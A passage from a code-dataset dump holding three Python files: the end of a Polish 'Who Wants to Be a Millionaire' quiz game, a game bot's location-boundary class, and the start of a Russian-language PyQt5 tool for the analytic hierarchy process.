tuba\",\n\"C - dudy\",\n\"D - żele\",\n\"D\"],\n[\"Jak nazywa się amerykańska baza wojskowa na Kubie?\",\n\"A - Santa Clara\",\n\"B - Bayamo\",\n\"C - Guantanamo\",\n\"D - Matanzas\",\n\"C\"],\n[\"Z jakimi plemionami Indian walczył generał Custer nad Little Big Horn?\",\n\"A - Czirokezami i Seminolami\",\n\"B - Sjuksami i Szejenami\",\n\"C - Szoszonami i Wronami\",\n\"D - Huronami i Mohikanami\",\n\"B\"]]\n\n #tutaj trafiają te pytania, które już zostały wylosowane ~ Piotr\nlista_już_wylosowanych = []\n\n\n#ta funkcja wyświetla odpowiedni napis w zależności od stanu licznik dobrych odpowiedzi! ~ Piotr\ndef o_ile_gram():\n if licznik_dobrych_odpowiedzi == 0:\n print(\"Grasz o 500zł!\\n\")\n if licznik_dobrych_odpowiedzi == 1:\n print(\"Grasz o 1000zł!\\n\")\n if licznik_dobrych_odpowiedzi == 2:\n print(\"Grasz o 2000zł!\\n\")\n if licznik_dobrych_odpowiedzi == 3:\n print(\"Grasz o 5000zł!\\n\")\n if licznik_dobrych_odpowiedzi == 4:\n print(\"Grasz o 10 000zł!\\n\")\n if licznik_dobrych_odpowiedzi == 5:\n print(\"Grasz o 20 000zł!\\n\")\n if licznik_dobrych_odpowiedzi == 6:\n print(\"Grasz o 40 000zł!\\n\")\n if licznik_dobrych_odpowiedzi == 7:\n print(\"Grasz o 75 000zł!\\n\")\n if licznik_dobrych_odpowiedzi == 8:\n print(\"Grasz o 125 000zł!\\n\")\n if licznik_dobrych_odpowiedzi == 9:\n print(\"Grasz o 250 000zł!\\n\")\n if licznik_dobrych_odpowiedzi == 10:\n print(\"Grasz o 500 000zł\\n!\")\n if licznik_dobrych_odpowiedzi == 11:\n print(\"Grasz o MILION!\\n\")\n\ndef pytanie_huberta(x):\n prawdopodobienstwo = random.randint(0,10)\n if licznik_dobrych_odpowiedzi == 11:\n pytanie = str(input(\"Hubert: To jest pytanie o MILION. \\nDefinitywnie to jest Twoja odpowiedź 'T/'N'?\"))\n if pytanie == \"T\" or pytanie == \"t\":\n return x\n else:\n y = input(\"Hubert: Która odpowiedź jest wiec prawidłowa? \")\n return y\n elif prawdopodobienstwo <= 5:\n pytanie = str(input(\"Hubert: Definitywnie 'T/'N'?\"))\n if pytanie == \"T\" or pytanie == \"t\":\n return x\n else:\n y = input(\"Hubert: No to jaka jest prawidłowa odpowiedź? \")\n return y\n else:\n return x\n\n\nwhile True:\n ###### PYTANIA LOSOWANE Z LISTY ŁATWYCH ###### ~ Piotr\n if licznik_dobrych_odpowiedzi <= 6:\n losowe_pytanie = random.choice(lista_easy)\n if losowe_pytanie not in lista_już_wylosowanych:\n lista_już_wylosowanych.append(losowe_pytanie)\n o_ile_gram()\n for i in losowe_pytanie[0:5]:\n print(i)\n\n odp = input(\"Podaj prawidłową odpowiedź: \")\n odpowiedz_uczestnika = pytanie_huberta(odp)\n\n if odpowiedz_uczestnika == losowe_pytanie[5]:\n licznik_dobrych_odpowiedzi +=1\n print(\"Dobra odpowiedź!\\n\")\n print(licznik_dobrych_odpowiedzi)\n time.sleep(2)\n os.system('cls')\n else:\n print(\"Zła odpowiedź. Przegrałeś\")\n break\n print(\"\")\n\n\n ###### PYTANIE LOSOWANE Z LISTY ŚREDNICH ###### ~ Piotr\n elif licznik_dobrych_odpowiedzi in range(7,9):\n losowe_pytanie = random.choice(lista_medium)\n if losowe_pytanie not in lista_już_wylosowanych:\n lista_już_wylosowanych.append(losowe_pytanie)\n for i in losowe_pytanie[0:5]:\n print(i)\n\n odp = input(\"Podaj prawidłową odpowiedź: \")\n odpowiedz_uczestnika = pytanie_huberta(odp)\n\n if odpowiedz_uczestnika == losowe_pytanie[5]:\n licznik_dobrych_odpowiedzi +=1\n print(\"Dobra odpowiedź!\\n\")\n print(licznik_dobrych_odpowiedzi)\n time.sleep(2)\n os.system('cls')\n else:\n print(\"Zła odpowiedź. Przegrałeś\")\n break\n print(\"\")\n\n\n ###### PYTANIE LOSOWANE Z LISTY TRUDNYCH ###### ~ Piotr\n elif licznik_dobrych_odpowiedzi in range(9,12):\n losowe_pytanie = random.choice(lista_hard)\n if losowe_pytanie not in lista_już_wylosowanych:\n lista_już_wylosowanych.append(losowe_pytanie)\n for i in losowe_pytanie[0:5]:\n print(i)\n print(\"\")\n\n odp = input(\"Podaj prawidłową odpowiedź: \")\n odpowiedz_uczestnika = pytanie_huberta(odp)\n\n if odpowiedz_uczestnika == losowe_pytanie[5]:\n licznik_dobrych_odpowiedzi +=1\n print(\"Dobra odpowiedź!\\n\")\n print(licznik_dobrych_odpowiedzi)\n time.sleep(2)\n os.system('cls')\n else:\n print(\"Zła odpowiedź. Przegrałeś\")\n break\n print(\"\")\n\n\n\n if licznik_dobrych_odpowiedzi == 12:\n print(\"Brawo! Wygrałeś MILION ZŁOTYCH!\")\n break\n\n\n##### http://testwiedzy.pl/print/print_test/29791.html #######\n","sub_path":"Milionerzy.py","file_name":"Milionerzy.py","file_ext":"py","file_size_in_byte":7214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"212785382","text":"import math\n\n\n# noinspection SpellCheckingInspection\nclass Location(object):\n enabled = bool\n\n identifier = str\n owner = str\n name = str\n description = str\n\n messages_dict = dict\n\n # the center of the shape\n pos_x = float\n pos_y = float\n pos_z = float\n\n tele_x = float\n tele_y = float\n tele_z = float\n\n # sphere and cube so far\n shape = str\n\n # spheres and cubes\n radius = float\n warning_boundary = float\n\n # cuboids (rooms)\n width = int\n length = int\n height = int\n\n region = list\n\n last_player_activity_dict = {}\n list_of_players_inside = list\n list_of_players_inside_core = list\n\n def __init__(self, **kwargs):\n self.messages_dict = {\n \"leaving_core\": \"leaving core\",\n \"leaving_boundary\": \"leaving boundary\",\n \"entering_boundary\": \"entering boundary\",\n \"entering_core\": \"entering core\"\n }\n self.radius = 20\n self.warning_boundary = 16\n self.width = self.radius * 2\n self.length = self.radius * 2\n self.height = self.radius * 2\n self.enabled = True\n self.list_of_players_inside = []\n self.list_of_players_inside_core = []\n \"\"\" populate player-data \"\"\"\n for (k, v) in kwargs.iteritems():\n setattr(self, k, v)\n\n def set_owner(self, owner):\n self.owner = owner\n return True\n\n def set_name(self, name):\n self.name = name\n return True\n\n def set_identifier(self, identifier):\n sanitized_identifier = \"\".join(i for i in identifier if i not in r' \\/:*?\"<>|!.,;')\n self.identifier = sanitized_identifier\n return sanitized_identifier\n\n def set_description(self, description):\n self.description = description\n return True\n\n def set_coordinates(self, player_object):\n self.pos_x = player_object.pos_x\n self.pos_y = player_object.pos_y\n self.pos_z = player_object.pos_z\n self.set_teleport_coordinates(player_object)\n return True\n\n # noinspection PyUnusedLocal\n def set_center(self, player_object, width, length, height):\n self.pos_x = player_object.pos_x + (float(width) / 2)\n self.pos_y = player_object.pos_y\n self.pos_z = player_object.pos_z + (float(length) / 2)\n return True\n\n def set_teleport_coordinates(self, player_object):\n if self.shape == 'point' or self.player_is_inside_boundary(player_object):\n self.tele_x = player_object.pos_x\n self.tele_y = player_object.pos_y\n self.tele_z = player_object.pos_z\n return True\n else:\n return False\n\n def set_shape(self, shape):\n allowed_shapes = ['cube', 'sphere', 'room']\n if shape in allowed_shapes:\n self.shape = shape\n if shape in ['sphere', 'cube']:\n self.radius = max(\n self.width / 2,\n self.length / 2\n )\n return True\n return False\n\n def set_radius(self, player_object):\n radius = float(\n math.sqrt(\n (float(self.pos_x) - float(player_object.pos_x)) ** 2 + (\n float(self.pos_y) - float(player_object.pos_y)) ** 2 + (\n float(self.pos_z) - float(player_object.pos_z)) ** 2)\n )\n allowed_range = range(3, 141)\n if int(radius) in allowed_range:\n self.radius = radius\n self.width = self.radius * 2\n self.length = self.radius * 2\n self.height = self.radius * 2\n return True, allowed_range\n return radius, allowed_range\n\n def set_warning_boundary(self, player_object):\n radius = float(\n math.sqrt(\n (float(self.pos_x) - float(player_object.pos_x)) ** 2 + (\n float(self.pos_y) - float(player_object.pos_y)) ** 2 + (\n float(self.pos_z) - float(player_object.pos_z)) ** 2)\n )\n allowed_range = range(3, int(self.radius + 1))\n if int(radius) in allowed_range:\n self.warning_boundary = radius\n return True, allowed_range\n return radius, allowed_range\n\n def set_width(self, width):\n allowed_range = range(3, 141)\n self.width = width\n return True, allowed_range\n\n def set_length(self, length):\n allowed_range = range(3, 141)\n self.length = length\n return True, allowed_range\n\n def set_height(self, height):\n allowed_range = range(3, 141)\n self.height = height\n return True, allowed_range\n\n def set_messages(self, messages_dict):\n self.messages_dict = messages_dict\n\n def get_messages_dict(self):\n return self.messages_dict\n\n # TODO: region should be a list as a location and it's effect can spawn several regions. capture all regions if empty\n def set_region(self, regions_list):\n self.region = regions_list\n\n def set_list_of_players_inside(self, list_of_players_inside):\n self.list_of_players_inside = list_of_players_inside\n\n def set_list_of_players_inside_core(self, list_of_players_inside_core):\n self.list_of_players_inside_core = list_of_players_inside_core\n\n def player_is_inside_boundary(self, player_object):\n \"\"\" calculate the position of a player against a location\n\n for now we have only a sphere and cube\n\n next will be rooms, then polygons for more exotic bases. the goal is to use exactly the\n space one needs instead of arbitrary shapes dictated by my lack of math-skills!\n\n got some math-skills? contact me :)\n \"\"\"\n player_is_inside_boundary = False\n if self.shape == \"sphere\":\n \"\"\" we determine the location by the locations radius and the distance of the player from it's center,\n spheres make this especially easy, so I picked them first ^^\n \"\"\"\n distance_to_location_center = float(math.sqrt(\n (float(self.pos_x) - float(player_object.pos_x)) ** 2 + (\n float(self.pos_y) - float(player_object.pos_y)) ** 2 + (\n float(self.pos_z) - float(player_object.pos_z)) ** 2))\n player_is_inside_boundary = distance_to_location_center <= float(self.radius)\n if self.shape == \"cube\":\n \"\"\" we determine the area of the location by the locations center and it's radius (half a sides-length)\n \"\"\"\n if (float(self.pos_x) - float(self.radius)) <= float(player_object.pos_x) <= (float(self.pos_x) + float(self.radius)) and (float(self.pos_y) - float(self.radius)) <= float(player_object.pos_y) <= (float(self.pos_y) + float(self.radius)) and (float(self.pos_z) - float(self.radius)) <= float(player_object.pos_z) <= (float(self.pos_z) + float(self.radius)):\n player_is_inside_boundary = True\n if self.shape == \"room\":\n \"\"\" we determine the area of the location by the locations center, it's width, height and length. height will be calculated from ground level (-1) upwards \n \"\"\"\n if (float(self.pos_x) - float(self.width) / 2) <= float(player_object.pos_x) <= (float(self.pos_x) + float(self.width) / 2) and float(self.pos_y) <= float(player_object.pos_y) + 1 <= (float(self.pos_y) + float(self.height)) and (float(self.pos_z) - float(self.length) / 2) <= float(player_object.pos_z) <= (float(self.pos_z) + float(self.length) / 2):\n player_is_inside_boundary = True\n\n return player_is_inside_boundary\n\n def player_is_inside_core(self, player_object):\n player_is_inside_core = False\n if self.shape == \"sphere\":\n distance_to_location_center = float(math.sqrt(\n (float(self.pos_x) - float(player_object.pos_x)) ** 2 + (\n float(self.pos_y) - float(player_object.pos_y)) ** 2 + (\n float(self.pos_z) - float(player_object.pos_z)) ** 2))\n player_is_inside_core = distance_to_location_center <= float(self.warning_boundary)\n if self.shape == \"cube\":\n if (float(self.pos_x) - float(self.warning_boundary)) <= float(player_object.pos_x) <= (float(self.pos_x) + float(self.warning_boundary)) and (float(self.pos_y) - float(self.warning_boundary)) <= float(player_object.pos_y) <= (float(self.pos_y) + float(self.warning_boundary)) and (float(self.pos_z) - float(self.warning_boundary)) <= float(player_object.pos_z) <= (float(self.pos_z) + float(self.warning_boundary)):\n player_is_inside_core = True\n if self.shape == \"room\":\n # TODO: this has to be adjusted. it's just copied from the boundary function\n if (float(self.pos_x) - float(self.width) / 2) <= float(player_object.pos_x) <= (float(self.pos_x) + float(self.width) / 2) and float(self.pos_y) <= float(player_object.pos_y) + 1 <= (float(self.pos_y) + float(self.height)) and (float(self.pos_z) - float(self.length) / 2) <= float(player_object.pos_z) <= (float(self.pos_z) + float(self.length) / 2):\n player_is_inside_core = True\n\n return player_is_inside_core\n\n def get_player_status(self, player_object):\n player_is_inside_boundary = self.player_is_inside_boundary(player_object)\n player_is_inside_core = self.player_is_inside_core(player_object)\n\n if player_is_inside_boundary is True:\n # player is inside\n if player_object.steamid in self.list_of_players_inside:\n # and already was inside the location\n player_status = 'is inside'\n else:\n # newly entered the location\n self.list_of_players_inside.append(player_object.steamid)\n player_status = 'has entered'\n else:\n # player is outside\n if player_object.steamid in self.list_of_players_inside:\n # and was inside before, so he left the location\n self.list_of_players_inside.remove(player_object.steamid)\n player_status = 'has left'\n else:\n # and already was outside before\n player_status = None\n\n if player_is_inside_core is True:\n # player is inside core\n if player_object.steamid in self.list_of_players_inside_core:\n # and already was inside the location\n player_status = 'is inside core'\n else:\n # newly entered the location\n self.list_of_players_inside_core.append(player_object.steamid)\n player_status = 'has entered core'\n else:\n # player is outside\n if player_object.steamid in self.list_of_players_inside_core:\n # and was inside before, so he left the location\n self.list_of_players_inside_core.remove(player_object.steamid)\n player_status = 'has left core'\n\n return player_status\n","sub_path":"bot/location.py","file_name":"location.py","file_ext":"py","file_size_in_byte":11011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"428768483","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\n#Imports\nimport sys\nfrom PyQt5.QtWidgets import QMainWindow, QWidget, QMessageBox, QComboBox\nfrom PyQt5.QtWidgets import QApplication, QDesktopWidget, QLabel\nfrom PyQt5.QtWidgets import QLineEdit, QTextEdit, QGridLayout\nfrom PyQt5.QtWidgets import QPushButton, QTableWidget, QApplication\nfrom PyQt5.QtWidgets import QMainWindow, QGridLayout, QWidget\nfrom PyQt5.QtWidgets import QTableWidget, QTableWidgetItem\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.QtCore import QSize, Qt\n\n\nclass MainWindow(QWidget):\n\n\n def __init__(self):\n #Возвращает родительский объект MainWindow с классом, и мы вызываем его конструктор\n super().__init__()\n #Create GUI\n\n #Число нажатий на кнопку \"Далее\"\n self.buttonPressCount = 0\n #Количество критериев на уровнях\n self.level1EditValue = 0\n self.level2EditValue = 0\n self.level3EditValue = 0\n self.level4EditValue = 0\n self.level5EditValue = 0\n\n #Матрицы\n self.mas1 = []\n\n self.mas2_1 = []\n self.mas2_2 = []\n self.mas2_3 = []\n self.mas2_4 = []\n self.mas2_5 = []\n\n self.mas3_1 = []\n self.mas3_2 = []\n self.mas3_3 = []\n self.mas3_4 = []\n self.mas3_5 = []\n\n self.mas4_1 = []\n self.mas4_2 = []\n self.mas4_3 = []\n self.mas4_4 = []\n self.mas4_5 = []\n\n self.mas5_1 = []\n self.mas5_2 = []\n self.mas5_3 = []\n self.mas5_4 = []\n self.mas5_5 = []\n\n #Среднее геометрическое для каждой матрицы\n self.sg1 = []\n self.sg_sum1 = 0\n\n self.sg2_1 = []\n self.sg_sum2_1 = 0\n self.sg2_2 = []\n self.sg_sum2_2 = 0\n self.sg2_3 = []\n self.sg_sum2_3 = 0\n self.sg2_4 = []\n self.sg_sum2_4 = 0\n self.sg2_5 = []\n self.sg_sum2_5 = 0\n\n self.sg3_1 = []\n self.sg3_2 = []\n self.sg3_3 = []\n self.sg3_4 = []\n self.sg3_5 = []\n\n self.sg4_1 = []\n self.sg4_2 = []\n self.sg4_3 = []\n self.sg4_4 = []\n self.sg4_5 = []\n\n self.sg5_1 = []\n self.sg5_2 = []\n self.sg5_3 = []\n self.sg5_4 = []\n self.sg5_5 = []\n\n #Вектор приоритетов\n self.nv1 = []\n\n self.nv2_1 = []\n self.nv2_2 = []\n self.nv2_3 = []\n self.nv2_4 = []\n self.nv2_5 = []\n\n self.nv3_1 = []\n self.nv3_2 = []\n self.nv3_3 = []\n self.nv3_4 = []\n self.nv3_5 = []\n\n self.nv4_1 = []\n self.nv4_2 = []\n self.nv4_3 = []\n self.nv4_4 = []\n self.nv4_5 = []\n\n self.nv5_1 = []\n self.nv5_2 = []\n self.nv5_3 = []\n self.nv5_4 = []\n self.nv5_5 = []\n\n #Первая страница количество критереев\n self.ierarhii = QLabel('Количество уровней иерархии')\n self.level1 = QLabel('Количество критериев на первом уровне')\n self.level2 = QLabel('Количество критериев на втором уровне')\n self.level3 = QLabel('Количество критериев на теретьем уровне')\n self.level4 = QLabel('Количество критериев на четветртом уровне')\n self.level5 = QLabel('Количество критериев на пятом уровне')\n\n self.ierarhiiEdit = QComboBox(self)\n self.level1Edit = QComboBox(self)\n self.level2Edit = QComboBox(self)\n self.level3Edit = QComboBox(self)\n self.level4Edit = QComboBox(self)\n self.level5Edit = QComboBox(self)\n\n #Инициализируем начальные значения\n self.ierarhiiEdit.addItems([\"2\", \"3\", \"4\", \"5\"])\n self.ierarhiiEdit.activated[str].connect(self.onActivated)\n self.level1Edit.addItems([\"2\", \"3\", \"4\", \"5\"])\n self.level2Edit.addItems([\"2\", \"3\", \"4\", \"5\"])\n self.level3Edit.addItems([\"2\", \"3\", \"4\", \"5\"])\n self.level4Edit.addItems([\"2\", \"3\", \"4\", \"5\"])\n self.level5Edit.addItems([\"2\", \"3\", \"4\", \"5\"])\n\n #Вторая страница таблица\n self.table = QTableWidget(self)\n self.table2 = QTableWidget(self)\n #Ширина столбцов зависит от содержимого\n self.table.resizeColumnsToContents()\n self.table.itemSelectionChanged.connect(self.on_selection)\n self.table2.resizeColumnsToContents()\n self.table2.itemSelectionChanged.connect(self.on_selection)\n\n #Кнопка Далее\n self.okButton = QPushButton(\"Далее\", self)\n self.okButton.clicked.connect(self.buttonClicked)\n\n self.initUI()\n\n\n def initUI(self):\n #Создаем сетку\n grid = QGridLayout()\n #Число ячеек в сетке\n grid.setSpacing(14)\n\n #Делаем таблицу невидимой\n self.table.setVisible(False)\n\n #Заполняем таблицу Виджетами\n grid.addWidget(self.table, 2, 0)\n grid.addWidget(self.table2, 2, 0)\n self.table2.setVisible(False)\n\n grid.addWidget(self.ierarhii, 1, 0)\n grid.addWidget(self.ierarhiiEdit, 1, 1)\n\n grid.addWidget(self.level1, 2, 0)\n grid.addWidget(self.level1Edit, 2, 1)\n\n grid.addWidget(self.level2, 3, 0)\n grid.addWidget(self.level2Edit, 3, 1)\n\n grid.addWidget(self.level3, 4, 0)\n grid.addWidget(self.level3Edit, 4, 1)\n self.level3Edit.setVisible(False)\n self.level3.setVisible(False)\n\n grid.addWidget(self.level4, 5, 0)\n grid.addWidget(self.level4Edit, 5, 1)\n self.level4Edit.setVisible(False)\n self.level4.setVisible(False)\n\n grid.addWidget(self.level5, 6, 0)\n grid.addWidget(self.level5Edit, 6, 1)\n self.level5Edit.setVisible(False)\n self.level5.setVisible(False)\n\n grid.addWidget(self.okButton, 7, 0)\n\n #Запихиваем сетку в экран\n self.setLayout(grid)\n\n #Начальная позиция и размер окна\n self.setGeometry(300, 300, 700, 400)\n self.setWindowTitle('Автоматизация МАИ')\n #self.setWindowIcon(QIcon('1.png'))\n\n self.show()\n\n\n #def closeEvent(self, event):\n #reply = QMessageBox.question(self,\n # 'Выход',\n # \"Вы действительно хотите выйти?\",\n # QMessageBox.Yes | QMessageBox.No,\n # QMessageBox.No)\n\n #if reply == QMessageBox.Yes:\n # event.accept()\n #else:\n # event.ignore()\n\n\n #Нажитие кнопки\n def buttonClicked(self):\n if self.buttonPressCount == 0:\n #Считываем значения\n self.level1EditValue = int(self.level1Edit.currentText())\n self.level2EditValue = int(self.level2Edit.currentText())\n self.level3EditValue = int(self.level3Edit.currentText())\n self.level4EditValue = int(self.level4Edit.currentText())\n self.level5EditValue = int(self.level5Edit.currentText())\n #Выключаем кнопки\n self.ierarhiiEdit.setVisible(False)\n self.level1Edit.setVisible(False)\n self.level2Edit.setVisible(False)\n self.level3Edit.setVisible(False)\n self.level4Edit.setVisible(False)\n self.level5Edit.setVisible(False)\n self.ierarhii.setText(\"Матрица парных сравнений для первого уровня иерархии:\")\n self.level1.setVisible(False)\n self.level2.setVisible(False)\n self.level3.setVisible(False)\n self.level4.setVisible(False)\n self.level5.setVisible(False)\n\n #Стороим таблицу\n self.table.setColumnCount(self.level1EditValue)\n self.table.setRowCount(self.level1EditValue)\n for i in range(self.table.rowCount()):\n for j in range(self.table.columnCount()):\n self.table.setItem(i, j, QTableWidgetItem(\"1\"))\n #Заполняем диагональ\n for i in range(self.table.rowCount()):\n j = i\n self.table.setItem(i, j, QTableWidgetItem(\"1\"))\n self.table.item(i, j).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n #Блокируем объекты\n z = 0\n for i in range(1, self.table.rowCount()):\n z += 1\n for j in range(z):\n self.table.item(i, j).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n self.table.setVisible(True)\n\n self.buttonPressCount += 1\n\n elif self.buttonPressCount == 1:\n #Cчитываем данные в массив\n for i in range(self.table.rowCount()):\n self.mas1.append([])\n for j in range(self.table.rowCount()):\n self.mas1[i].append(self.table.item(i, j).text())\n\n self.ierarhii.setText(\"Матрица парных сравнений для второго уровня иерархии 1:\")\n #Стороим таблицу\n self.table.setColumnCount(self.level2EditValue)\n self.table.setRowCount(self.level2EditValue)\n for i in range(self.table.rowCount()):\n for j in range(self.table.columnCount()):\n self.table.setItem(i, j, QTableWidgetItem(\"1\"))\n #Заполняем диагональ\n for i in range(self.table.rowCount()):\n j = i\n self.table.setItem(i, j, QTableWidgetItem(\"1\"))\n self.table.item(i, j).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n #Блокируем объекты\n z = 0\n for i in range(1, self.table.rowCount()):\n z += 1\n for j in range(z):\n self.table.item(i, j).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n self.table.setVisible(True)\n\n self.buttonPressCount += 1\n\n elif self.buttonPressCount == 2:\n #Cчитываем данные в массив\n for i in range(self.table.rowCount()):\n self.mas2_1.append([])\n for j in range(self.table.rowCount()):\n self.mas2_1[i].append(self.table.item(i, j).text())\n\n self.ierarhii.setText(\"Матрица парных сравнений для второго уровня иерархии 2:\")\n #Стороим таблицу\n self.table.setColumnCount(self.level2EditValue)\n self.table.setRowCount(self.level2EditValue)\n for i in range(self.table.rowCount()):\n for j in range(self.table.columnCount()):\n self.table.setItem(i, j, QTableWidgetItem(\"1\"))\n #Заполняем диагональ\n for i in range(self.table.rowCount()):\n j = i\n self.table.setItem(i, j, QTableWidgetItem(\"1\"))\n self.table.item(i, j).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n #Блокируем объекты\n z = 0\n for i in range(1, self.table.rowCount()):\n z += 1\n for j in range(z):\n self.table.item(i, j).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n self.table.setVisible(True)\n\n self.buttonPressCount += 1\n\n elif self.buttonPressCount == 3:\n #Cчитываем данные в массив\n for i in range(self.table.rowCount()):\n self.mas2_2.append([])\n for j in range(self.table.rowCount()):\n self.mas2_2[i].append(self.table.item(i, j).text())\n\n if self.level1EditValue > 2:\n self.ierarhii.setText(\"Матрица парных сравнений для второго уровня иерархии 3:\")\n #Стороим таблицу\n self.table.setColumnCount(self.level2EditValue)\n self.table.setRowCount(self.level2EditValue)\n for i in range(self.table.rowCount()):\n for j in range(self.table.columnCount()):\n self.table.setItem(i, j, QTableWidgetItem(\"1\"))\n #Заполняем диагональ\n for i in range(self.table.rowCount()):\n j = i\n self.table.setItem(i, j, QTableWidgetItem(\"1\"))\n self.table.item(i, j).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n #Блокируем объекты\n z = 0\n for i in range(1, self.table.rowCount()):\n z += 1\n for j in range(z):\n self.table.item(i, j).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n self.table.setVisible(True)\n else:\n self.calc()\n\n self.buttonPressCount += 1\n\n elif self.buttonPressCount == 4:\n #Cчитываем данные в массив\n for i in range(self.table.rowCount()):\n self.mas2_3.append([])\n for j in range(self.table.rowCount()):\n self.mas2_3[i].append(self.table.item(i, j).text())\n\n if self.level1EditValue > 3:\n self.ierarhii.setText(\"Матрица парных сравнений для второго уровня иерархии 4:\")\n #Стороим таблицу\n self.table.setColumnCount(self.level2EditValue)\n self.table.setRowCount(self.level2EditValue)\n for i in range(self.table.rowCount()):\n for j in range(self.table.columnCount()):\n self.table.setItem(i, j, QTableWidgetItem(\"1\"))\n #Заполняем диагональ\n for i in range(self.table.rowCount()):\n j = i\n self.table.setItem(i, j, QTableWidgetItem(\"1\"))\n self.table.item(i, j).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n #Блокируем объекты\n z = 0\n for i in range(1, self.table.rowCount()):\n z += 1\n for j in range(z):\n self.table.item(i, j).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n self.table.setVisible(True)\n else:\n self.calc()\n\n self.buttonPressCount += 1\n\n elif self.buttonPressCount == 5:\n #Cчитываем данные в массив\n for i in range(self.table.rowCount()):\n self.mas2_4.append([])\n for j in range(self.table.rowCount()):\n self.mas2_4[i].append(self.table.item(i, j).text())\n\n if self.level1EditValue > 4:\n self.ierarhii.setText(\"Матрица парных сравнений для второго уровня иерархии 5:\")\n #Стороим таблицу\n self.table.setColumnCount(self.level2EditValue)\n self.table.setRowCount(self.level2EditValue)\n for i in range(self.table.rowCount()):\n for j in range(self.table.columnCount()):\n self.table.setItem(i, j, QTableWidgetItem(\"1\"))\n #Заполняем диагональ\n for i in range(self.table.rowCount()):\n j = i\n self.table.setItem(i, j, QTableWidgetItem(\"1\"))\n self.table.item(i, j).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n #Блокируем объекты\n z = 0\n for i in range(1, self.table.rowCount()):\n z += 1\n for j in range(z):\n self.table.item(i, j).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n else:\n self.calc()\n\n self.table.setVisible(True)\n\n self.buttonPressCount += 1\n\n elif self.buttonPressCount == 6:\n #Cчитываем данные в массив\n for i in range(self.table.rowCount()):\n self.mas2_5.append([])\n for j in range(self.table.rowCount()):\n self.mas2_5[i].append(self.table.item(i, j).text())\n\n self.calc()\n\n self.buttonPressCount += 1\n\n\n #Изменение Комбобокса\n def onActivated(self, text):\n i = int(text)\n if i == 3:\n self.level3Edit.setVisible(True)\n self.level3.setVisible(True)\n self.level4Edit.setVisible(False)\n self.level4.setVisible(False)\n self.level5Edit.setVisible(False)\n self.level5.setVisible(False)\n elif i == 4:\n self.level3Edit.setVisible(True)\n self.level3.setVisible(True)\n self.level4Edit.setVisible(True)\n self.level4.setVisible(True)\n self.level5Edit.setVisible(False)\n self.level5.setVisible(False)\n elif i == 5:\n self.level3Edit.setVisible(True)\n self.level3.setVisible(True)\n self.level4Edit.setVisible(True)\n self.level4.setVisible(True)\n self.level5Edit.setVisible(True)\n self.level5.setVisible(True)\n elif i == 2:\n self.level3Edit.setVisible(False)\n self.level3.setVisible(False)\n self.level4Edit.setVisible(False)\n self.level4.setVisible(False)\n self.level5Edit.setVisible(False)\n self.level5.setVisible(False)\n\n\n #Изменение ячейки;\n def on_selection(self):\n #Считаем обратные значения\n z = 0\n for i in range(1, self.table.rowCount()):\n z += 1\n for j in range(z):\n item = str(round(1 / float(self.table.item(j, i).text()), 4))\n self.table.setItem(i, j, QTableWidgetItem(item))\n self.table.item(i, j).setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n\n\n def calc(self):\n self.ierarhii.setText(\"Результаты:\")\n self.okButton.setVisible(False)\n self.table.setVisible(False)\n self.table2.setVisible(True)\n\n\n #1\n #Считаем СГ\n for i in range(int(self.level1EditValue)):\n self.sg1.append([])\n self.sg1[i] = 1\n for j in range(int(self.level1EditValue)):\n self.sg1[i] = float(self.sg1[i]) * float(self.mas1[i][j])\n self.sg1[i] = round(pow(float(self.sg1[i]), 1/float(self.level1EditValue)), 4)\n self.sg_sum1 += float(self.sg1[i])\n\n #Считаем НВ\n for i in range(int(self.level1EditValue)):\n self.nv1.append([])\n self.nv1[i] = float(self.sg1[i]) / float(self.sg_sum1)\n\n\n #2_1\n #Считаем СГ\n for i in range(int(self.level2EditValue)):\n self.sg2_1.append([])\n self.sg2_1[i] = 1\n for j in range(int(self.level2EditValue)):\n self.sg2_1[i] = float(self.sg2_1[i]) * float(self.mas2_1[i][j])\n self.sg2_1[i] = round(pow(float(self.sg2_1[i]), 1/float(self.level2EditValue)), 4)\n self.sg_sum2_1 += float(self.sg2_1[i])\n\n #Считаем НВ\n for i in range(int(self.level2EditValue)):\n self.nv2_1.append([])\n self.nv2_1[i] = float(self.sg2_1[i]) / float(self.sg_sum2_1)\n\n\n #2_2\n #Считаем СГ\n for i in range(int(self.level2EditValue)):\n self.sg2_2.append([])\n self.sg2_2[i] = 1\n for j in range(int(self.level2EditValue)):\n self.sg2_2[i] = float(self.sg2_2[i]) * float(self.mas2_2[i][j])\n self.sg2_2[i] = round(pow(float(self.sg2_2[i]), 1/float(self.level2EditValue)), 4)\n self.sg_sum2_2 += float(self.sg2_2[i])\n\n #Считаем НВ\n for i in range(int(self.level2EditValue)):\n self.nv2_2.append([])\n self.nv2_2[i] = float(self.sg2_2[i]) / float(self.sg_sum2_2)\n\n\n if self.level1EditValue > 2:\n #2_3\n #Считаем СГ\n for i in range(int(self.level2EditValue)):\n self.sg2_3.append([])\n self.sg2_3[i] = 1\n for j in range(int(self.level2EditValue)):\n self.sg2_3[i] = float(self.sg2_3[i]) * float(self.mas2_3[i][j])\n self.sg2_3[i] = round(pow(float(self.sg2_3[i]), 1/float(self.level2EditValue)), 4)\n self.sg_sum2_3 += float(self.sg2_3[i])\n\n #Считаем НВ\n for i in range(int(self.level2EditValue)):\n self.nv2_3.append([])\n self.nv2_3[i] = float(self.sg2_3[i]) / float(self.sg_sum2_3)\n\n\n if self.level1EditValue > 3:\n 